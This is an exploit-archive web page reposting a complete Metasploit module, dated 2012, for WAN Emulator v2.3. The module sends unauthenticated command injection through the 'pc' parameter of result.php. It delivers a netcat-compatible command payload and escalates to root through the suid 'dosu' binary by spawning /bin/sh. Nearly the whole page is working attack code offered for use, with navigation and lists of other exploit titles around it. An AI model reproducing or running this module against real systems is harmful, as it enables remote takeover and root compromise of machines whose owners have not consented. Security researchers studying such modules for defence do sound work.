首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
WAN Emulator v2.3 Command Execution
来源:http://www.metasploit.com 作者:Coles 发布时间:2012-09-11  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'WAN Emulator v2.3 Command Execution',
   'Description'    => %q{
    This module exploits a command execution vulnerability in WAN Emulator
    version 2.3 which can be abused to allow unauthenticated users to execute
    arbitrary commands under the context of the 'www-data' user.
    The 'result.php' script calls shell_exec() with user controlled data
    from the 'pc' parameter. This module also exploits a command execution
    vulnerability to gain root privileges. The 'dosu' binary is suid 'root'
    and vulnerable to command execution in argument one.
   },
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 1 $',
   'Privileged'     => true,
   'Platform'       => 'unix',
   'Arch'           => ARCH_CMD,
   'Author'         =>
    [
     'Brendan Coles <bcoles[at]gmail.com>', # Discovery and exploit
    ],
   'References'     =>
    [
     ['URL', 'http://itsecuritysolutions.org/2012-08-12-wanem-v2.3-multiple-vulnerabilities/']
     #['OSVDB', ''],
     #['EDB',   ''],
    ],
   'Payload'        =>
    {
     'Space'       => 1024,
     'BadChars'    => "\x00",
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic netcat-e',
      }
    },
   'DefaultOptions' =>
    {
     'ExitFunction' => 'none'
    },
   'Targets'        =>
    [
     ['Automatic Targeting', { 'auto' => true }]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Aug 12 2012'
  ))
 end

 def on_new_session(client)
  client.shell_command_token("/UNIONFS/home/perc/dosu /bin/sh")
 end

 def check

  res   = send_request_cgi({
   'method' => 'GET',
   'uri'    => '/WANem/result.php'
  })
  if res and res.body =~ /<br><br><br><b><font color=red>Can't measure\!\! Please repeat\.<\/font><\/b><\/body>/
   return Exploit::CheckCode::Appears
  else
   return Exploit::CheckCode::Safe
  end

 end

 def exploit

  @peer = "#{rhost}:#{rport}"
  data  = "pc=127.0.0.1; "
  data << URI.encode(payload.raw)
  data << "%26"
  print_status("#{@peer} - Sending payload (#{payload.raw.length} bytes)")
  begin
   res = send_request_cgi({
    'uri'    => '/WANem/result.php',
    'method' => 'POST',
    'data'   => data
   }, 25)
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
   print_error("#{@peer} - Connection failed")
  end
  if res and res.code == 200
   print_good("#{@peer} - Payload sent successfully")
  else
   print_error("#{@peer} - Sending payload failed")
  end
 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Openfiler v2.x NetworkCard Com
·ActiveFax (ActFax) 4.3 Client
·Oracle VM VirtualBox 4.1 Local
·Sflog! CMS 1.0 Arbitrary File
·WIS Coldfusion Exploit
·CAS Modbus RTU Parser Buffer O
·TP-LINK TL-WR340G Denial Of Se
·Symantec Messaging Gateway 9.5
·Winamp MAKI Buffer Overflow
·HP SiteScope Remote Code Execu
·Internet Download Manager All
·mcrypt 2.6.8 Buffer Overflow P
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved